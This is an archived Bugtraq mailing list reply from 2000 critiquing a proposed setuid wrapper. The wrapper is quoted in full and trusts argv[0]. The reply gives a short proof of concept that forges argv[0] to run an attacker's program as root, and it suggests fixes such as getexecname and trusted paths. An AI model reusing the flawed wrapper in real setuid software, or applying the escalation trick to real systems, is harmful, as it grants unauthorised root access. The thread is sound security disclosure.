Bugtraq mailing list archives

Re: Format String Attacks


From: Drazen Kacar <dave () SRCE HR>
Date: Wed, 13 Sep 2000 21:20:41 +0200

Doug Hughes wrote:
Since I don't recall anybody else posting one, here is a simple, generic,
setuid wrapper that people could use around, for instance, /usr/bin/eject
or other setuid programs.

The problem is that it's not going to work the way you expect. And you're
going to get a lot of mail telling you that. :-)

/*
 * This program provided AS IS with no warranty
 * Copyright 2000, doug () eng auburn edu
 * Use freely.
 * The environment from the original program is completely obliviated
 */
#include <stdio.h>
#include <stdlib.h>


main (int argc, char *argv[]) {

      char *origfile;
      char *envp[1] = { (char *) NULL };

      if ((origfile = (char *) malloc(strlen(argv[0])+6)) == NULL) {
              perror("allocating memory");
              exit(1);
      }
      strcpy(origfile, argv[0]);
      strcat(origfile, ".orig");

      execve(origfile, argv, envp);
}

Let's suppose you put this instead of /usr/bin/eject and give it 4555
mode, as the original has.

In /home/dave I have two programs:

prompt> cat root.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
   printf("My euid is %d\n", geteuid());
   return 0;
}
prompt> cc root.c -o root.orig
prompt> ./root.orig
My euid is 100
prompt> cat buglet.c
#include <unistd.h>

int main()
{
   execl("/usr/bin/eject", "/home/dave/root", (char *)NULL);
   return 1;
}
prompt> cc buglet.c -o buglet
prompt> ./buglet
My euid is 0


You can't rely on argv[0], because any program can change that. On Solaris
you can use getexecname(3c) to get the name of the executed file. Symlinks
will be resolved. I don't know if it's possible to exploit some race
condition with it. It would be advisable to limit programs which you
execute to the trusted path, such as /usr/bin. Or a path prefix, at least.

Some programs (or administrators) will need environment variables, so
it would be nice just to remove the unwanted ones.

### Caveats ###

This will not work with programs like ps that, on different architectures,
are themselves wrappers around other programs (e.g. on 64 bit Solaris7/8
calls /usr/bin/sparcv9/ps) because argv[0] is still the original program.
So, /usr/bin/ps calls /usr/bin/sparcv9/ps (the setuid program wrapper)
which checks argv and then calls /usr/bin/ps.orig which doesn't exist.

Those will have to be handled on a case by case basis.

You can use isaexec(3c), which is what the original wrapper does, more
or less.

--
 .-.   .-.    I don't work for my employer.
(_  \ /  _)
     |        dave () srce hr
     |        dave () fly srk fer hr


Current thread: